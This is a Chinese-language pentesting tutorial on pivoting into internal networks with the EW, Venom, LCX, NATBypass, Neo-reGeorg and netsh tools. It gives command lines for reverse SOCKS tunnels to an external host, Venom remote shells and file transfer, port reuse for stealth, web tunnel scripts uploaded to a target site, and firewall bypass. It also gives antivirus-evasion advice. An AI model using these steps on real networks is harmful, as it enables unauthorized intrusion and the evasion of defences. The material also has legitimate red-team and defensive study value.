內網入口——代理搭建&埠轉發
在內網滲透過程中經常會遇到搭建代理和埠轉發的情況,本文記錄一些常用工具的使用方法,便於查閱,其應用場景並沒有全部例舉,學習重在領會原理,使用時融會貫通,而不是套固定模式。
代理搭建&埠轉發
在內網主機上搭建代理是為了以內網主機為跳板,間接訪問內網,從而可以對內網進行掃描、訪問等操作;而埠轉發僅是針對具體埠提供的服務,一般是為了繞過防火牆在傳輸層設定的訪問規則,比如將12345埠轉發到3389埠,那麼遠端桌面訪問12345埠就相當於訪問3389埠。
代理搭建後,在外網主機上要配置代理,Windows上用Proxyfier,Linux上用Proxychains,瀏覽器最好用外掛,方法都很簡單,這裡不作介紹,要注意的是目前這些代理都不支援ICMP協議,比如ping是無法經過代理的。
1.EW
(1)介紹
經典的內網穿透工具,具有 SOCKS5服務架設和埠轉發兩大核心功能,可在複雜網路環境下完成網路穿透。
已停止更新,而且很多查殺軟體已經將EW指紋加入特徵庫,不做免殺處理的話一經上傳即被秒殺,所以推薦使用Venom,更加強大靈活,而且至少目前對大部分查殺軟體還是免殺的。
傳送門:http://rootkiter.com/EarthWorm/
(2)使用
(版本:free1.2)
命令格式:ew [options] [values]
options包括ssocksd,rcsocks,rssocks,lcx_listen,lcx_tran,lcx_slave,直接輸入命令進行查詢:
./xxx ([-options] [values])*
options :
Eg: ./xxx -s ssocksd -h
-s state setup the function.You can pick one from the following options:
ssocksd , rcsocks , rssocks , lcx_listen , lcx_tran , lcx_slave
-l listenport open a port for the service startup.
-d refhost set the reflection host address.
-e refport set the reflection port.
-f connhost set the connect host address.
-g connport set the connect port.
-h help show the help text, By adding the -s parameter, you can also see the more detailed help.
-a about show the about pages
-v version show the version.
-t usectime set the milliseconds for timeout. The default value is 1000
......
具體區分如下:
正向代理:ssocksd
在外網主機可以訪問內網主機的情況下,利用正向連線搭建代理進入內網:
# 在內網主機(10.1.1.1/1.1.1.2)上搭建代理,監聽12345埠
ew_for_Win.exe -s ssocksd -l 12345
然後在外網主機上設定代理為:socks5 1.1.1.2 12345。
反向代理:rcsocks,rssocks
在外網主機無法訪問內網主機,但是內網主機可以訪問到外網主機的情況下,利用反向連線搭建代理進入內網:
# 先在外網主機(1.1.1.1)上監聽12345和8888埠
# 等待目標連線,將12345埠的流量轉發到本地8888埠
ew_for_Win.exe -s rcsocks -l 12345 -e 8888
# 然後內網主機和外網主機8888埠建立連線
# 此時訪問外網主機的12345埠相當於訪問內網主機的8888埠
ew_for_Win.exe -s rssocks -d 1.1.1.1 -e 8888
最後在外網主機上設定代理為:socks5 127.0.0.1 12345。
正向代理+埠轉發:ssocksd+lcx_tran
如果內網主機A不可以訪問內網,內網主機B可以訪問內網,但是內網主機B只能從內網主機A訪問,且外網主機可以訪問內網主機A,此時可在內網主機A、B做正向代理+埠轉發進入內網:
# 內網主機B(10.1.1.2)監聽8888埠
ew_for_Win.exe -s ssocksd -l 8888
# 內網主機A(10.1.1.1/1.1.1.2)將本地12345埠的流量轉發到內網主機B的8888埠
ew_for_Win.exe -s lcx_tran -l 12345 -f 10.1.1.2 -g 8888
最後在外網主機設定代理為:socks5 1.1.1.2 12345。
反向代理+埠轉發:ssocksd+lcx_listen+lcx_slave
情況同上,也可在內網主機A、B做反向代理+埠轉發進入內網,區別是在外網主機上開代理,隱蔽性更好些:
# 內網主機B(10.1.1.2)監聽8888埠
ew_for_Win.exe -s ssocksd -l 8888
# 外網主機(1.1.1.1)監聽12345和9999埠
# 等待目標連線,將12345埠流量轉發到本地9999埠
ew_for_Win.exe -s lcx_listen -l 12345 -e 9999
# 內網主機A(10.1.1.1)連線外網主機的9999埠和內網主機B的8888埠
# 隧道連線後,相當於將內網主機B的8888埠對映到外網主機的12345埠
ew_for_Win.exe -s lcx_slave -d 1.1.1.1 -e 9999 -f 10.1.1.2 -g 8888
最後在外網主機設定代理為:socks5 127.0.0.1 12345。
2.Venom
(1)介紹
Go開發的多級代理工具,可將多個節點進行連線,然後以節點為跳板,構建多級代理,可以輕鬆地將網路流量代理到多層內網,並管理代理節點。
分為admin(管理端)和agent(受控節點),兩者都可以開啟監聽,然後由另一端發起連線,由admin負責管理所有agent節點,支援跨平臺Linux/Windows/MacOS。
傳送門:https://github.com/Dliv3/Venom
(2)使用
(版本:v1.1.0)
步驟一:開啟監聽,建立連線
admin和agent都可以監聽連線也可發起連線,這一點尤為重要,在防火牆單向流量規則限制時可以靈活處置。可通過-passwd
指定密碼,該密碼用於生成AES加密所需的金鑰,對通訊流量進行加密。
# admin監聽埠,agent主動連線
admin -lport 12345 -passwd P@ssw0rd
agent -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd
# agent監聽埠,admin主動連線
agent -lport 12345 -passwd P@ssw0rd
admin -rport 12345 -rhost 10.1.1.1 -passwd P@ssw0rd
agent節點支援埠複用功能,可通過埠複用增強隱蔽性,繞過防火牆規則等,在windows上可以複用apache、mysql等服務的埠,但目前還無法複用RDP、IIS等服務埠,在linux上可以複用多數服務埠,被複用的埠仍可正常對外提供其原有服務。
# 複用apache 80埠,不影響apache提供正常的http服務
# -lhost值為本機ip,不能寫0.0.0.0,否則無法進行埠複用
agent -lhost 10.1.1.1 -reuse-port 80 -passwd P@ssw0rd
admin -rport 80 -rhost 10.1.1.1 -passwd P@ssw0rd
步驟二:管理節點,搭建代理
連線建立後由admin節點管理所有agent節點,在admin節點可用help
命令查詢:
(admin node) >>> help
help Help information.
exit Exit.
show Display network topology.
getdes View description of the target node.
setdes [info] Add a description to the target node.
goto [id] Select id as the target node.
listen [lport] Listen on a port on the target node.
connect [rhost] [rport] Connect to a new node through the target node.
sshconnect [user@ip:port] [dport] Connect to a new node through ssh tunnel.
shell Start an interactive shell on the target node.
upload [local_file] [remote_file] Upload files to the target node.
download [remote_file] [local_file] Download files from the target node.
socks [lport] Start a socks5 server.
lforward [lhost] [sport] [dport] Forward a local sport to a remote dport.
rforward [rhost] [sport] [dport] Forward a remote sport to a local dport.
listen [port]
和connect [rhost] [rport]
命令用於節點間互連,有兩種方式:
方式1:先在node1節點開啟埠監聽,然後node2節點用agent連線
# 先在node1節點監聽56789埠
(admin node) >>> show
A
+ -- 1
(admin node) >>> goto 1
(node 1) >>> listen 56789
listen 56789
the port 56789 is successfully listening on the remote node!
# 然後在node2執行agent,連線node1
agent -rhost 10.1.1.2 -rport 56789 -passwd P@ssw0rd
方式2:先在node2節點執行agent開啟埠監聽,然後node1節點connect
命令連線
# 先在node2節點執行agent開啟埠監聽
agent -lport 56789 -passwd P@ssw0rd
# 然後node1節點connect連線
(node 1) >>> connect 10.1.1.3 56789
connect to 10.1.1.2 56789
successfully connect to the remote port!
(node 1) >>> show
A
+ -- 1
+ -- 2
socks <port>
命令用於在admin節點開啟偵聽埠,建立到agent節點的socks5代理:
(node 1) >>> socks 7878
a socks5 proxy of the target node has started up on the local port 7878.
lforward [lhost] [sport] [dport]
將本地admin埠sport轉發到遠端agent埠dport
# 將本地admin的80埠對映到遠端agent的12580埠
# 訪問agent的12580埠相當於訪問admin的80埠
(node 1) >>> goto 2
(node 2) >>> lforward 10.1.1.1 80 12580
rforward [rhost] [sport] [dport]
將遠端agent埠sport轉發到本地admin埠dport
# 將遠端agent的80埠對映到本地admin的12580埠
# 訪問admin的12580埠相當於訪問agent的80埠
(node 2) >>> rforward 10.1.1.3 80 12580
3.LCX
(1)介紹
經典的內網埠轉發工具,具有埠轉發和埠對映的功能,通常用於將內網主機開放的內部埠對映到外網主機任意埠,很多查殺工具已經將其加入特徵庫,上傳需要做免殺。
傳送門:https://github.com/windworst/LCX
(2)使用
埠轉發(反向連線)
lcx -listen port1 port2
:同時監聽本地port1埠和port2埠,當兩個客戶端主動連線上這兩個監聽埠之後,LCX負責這兩個埠間的資料轉發。
lcx -slave ip1:port1 ip2:port2
:本地開始主動連線ip1:port1主機和ip2:port2主機,當連線成功之後,LCX負責這兩個主機之間的資料轉發。
建立反向連線,將內網主機埠轉發到外網主機埠,適用於內網主機能訪問外網主機,而外網主機不能訪問到內網主機的情況:
# 外網主機(1.1.1.1)先通過-listen監聽本地8888和12345埠
# 將12345埠的流量轉發給8888埠
lcx –listen 8888 12345
# 然後內網主機(10.1.1.1)通過-slave和外網主機建立連線
# 將8888埠流量轉發到外網主機(1.1.1.1)的9999埠
lcx –slave 1.1.1.1:8888 10.1.1.1:9999
這樣外網主機的12345埠就轉發到內網主機的9999埠了,訪問外網主機12345埠相當於訪問內網主機的9999埠。
埠對映(正向連線)
lcx -tran port1 ip:port2
:本地開始監聽port1埠,當port1埠上接收到來自客戶端的主動連線之後,nb將主動連線ip:port2,並且負責port1埠和ip:port2之間的資料轉發。
建立正向連線,將外網主機埠轉發到內網主機埠,適用於外網主機可以訪問內網主機的情況:
# 外網主機(1.1.1.1)通過-tran監聽12345埠
# 將12345埠流量轉發到內網主機(10.1.1.1/1.1.1.2)的3389埠
lcx -tran 12345 1.1.1.2:3389
訪問外網主機的12345埠相當於訪問內網主機的3389埠。
或者將內網主機埠對映本地的其他埠:
# 內網主機(10.1.1.1)通過-tran監聽本地12345埠
# 將12345埠流量轉發到本地的3389埠
lcx -tran 12345 127.0.0.1:3389
訪問內網主機的12345埠,相當於訪問其3389埠。
4.NATBypass
(1)介紹
LCX在golang下的實現,更好的跨平臺,更完善的文件,免殺性更好。
傳送門:https://github.com/cw1997/NATBypass
(2)使用
(版本:v1.0.0)
與LCX完全相同
5.Neo-reGeorg
(1)介紹
SOCKS over HTTP,即通過HTTP隧道轉發SOCKS5,reGeorg的改良版。
傳送門:https://github.com/L-codes/Neo-reGeorg
(2)使用
(版本:v2.3.1)
在外網主機可以訪問內網主機的情況下,正向通過其進入內網。
在外網主機上生成用於搭建代理的隧道檔案:
python3 neoreg.py generate -k P@ssw0rd
生成多種型別的指令碼檔案,如下所示:
[+] Create neoreg server files:
=> neoreg_servers/tunnel.ashx
=> neoreg_servers/tunnel.aspx
=> neoreg_servers/tunnel.jsp
=> neoreg_servers/tunnel_compatibility.jsp
=> neoreg_servers/tunnel.jspx
=> neoreg_servers/tunnel_compatibility.jspx
=> neoreg_servers/tunnel.php
將指令碼檔案上傳至內網主機網站可以訪問的頁面,然後在外網主機建立隧道,自動監聽本地1080埠:
python3 neoreg.py -k P@ssw0rd -u http://1.1.1.2/tunnel.php
最後在外網主機將代理設定為socks5 127.0.0.1 1080。
6.Netsh
(1)介紹
Windows系統中內建的用來檢視和配置計算機網路引數的命令列工具,可用於配置埠轉發。
(2)使用
在防火牆設定3389不能接入的條件下,利用埠轉發進行繞過。
檢視所有的埠轉發規則:
netsh interface portproxy show all
在內網主機上新增埠轉發規則:
# 在內網主機(10.1.1.1)上新增轉發規則
# 將本地12345埠的流量轉發到本地3389埠
# 注意不能講10.1.1.1寫成127.0.0.1
netsh interface portproxy add v4tov4 listenaddress=10.1.1.1 listenport=12345 connectaddress=10.1.1.1 connectport=3389
轉發規則不再使用後要刪除:
# 刪除指定的埠轉發規則
netsh interface portproxy delete v4tov4 listenport=12345 listenaddress=10.1.1.1
# 刪除所有的埠轉發規則
netsh interface portproxy reset
相關文章
- 內網埠轉發小技巧內網
- 內網中的埠轉發內網
- 利用nginx的stream模組實現內網埠的轉發代理Nginx內網
- 5、內網滲透之埠轉發與代理工具總結內網
- 4、內網埠轉發及穿透(合集)內網穿透
- 內網滲透-隧道代理轉發內網
- 內網穿透之流量代理轉發內網穿透
- 內網小組 | 埠轉發 全劇終內網
- squid 代理轉發內網伺服器UI內網伺服器
- 2、Web狗要懂的內網埠轉發Web內網
- [ssh訪問內網伺服器]使用Natapp來進行內網埠轉發內網伺服器APP
- vbox 網路地址轉換(NAT) 埠轉發
- vbox配置nat網路的埠轉發
- 玩轉SSH埠轉發
- 使用PolarDB和ECS搭建入口網站網站
- 內網滲透—流量轉發內網
- Nginx代理轉發Nginx
- 用 IPTABLES 的埠轉發功能實現訪問位於內網的 MySQL 伺服器內網MySql伺服器
- virtualbox實現區域網內訪問虛擬機器2-network新增埠轉發虛擬機
- 使用PolarDB和ECS搭建入口網站(阿里雲)網站阿里
- Win10 埠轉發Win10
- Linux-Windows 埠轉發LinuxWindows
- ssh埠轉發(ssh隧道)
- iptables 配置埠及轉發
- 內網穿透教程,簡單,便捷,極速穿透內網埠內網穿透
- FRP 內網穿透、反向代理FRP內網穿透
- 什麼是SSH埠轉發(本地轉發、遠端轉發、動態轉發)?
- 1、實戰SSH埠轉發
- 網路埠地址轉換 NAPT 配置APT
- 代理埠是什麼?
- npm 設定埠代理NPM
- (轉)芝麻代理趣解:什麼是動態ip、內網IP、以及外網ip內網
- 9.5內網橫向&代理&隧道內網
- FRP搭建內網穿透FRP內網穿透
- zliabary最新入口,zliabary國內官網映象站網址(持續更新)
- 在 Fedora 上使用 SSH 埠轉發
- 劫持SSH會話注入埠轉發會話
- 7、Linux 埠轉發特徵總結Linux特徵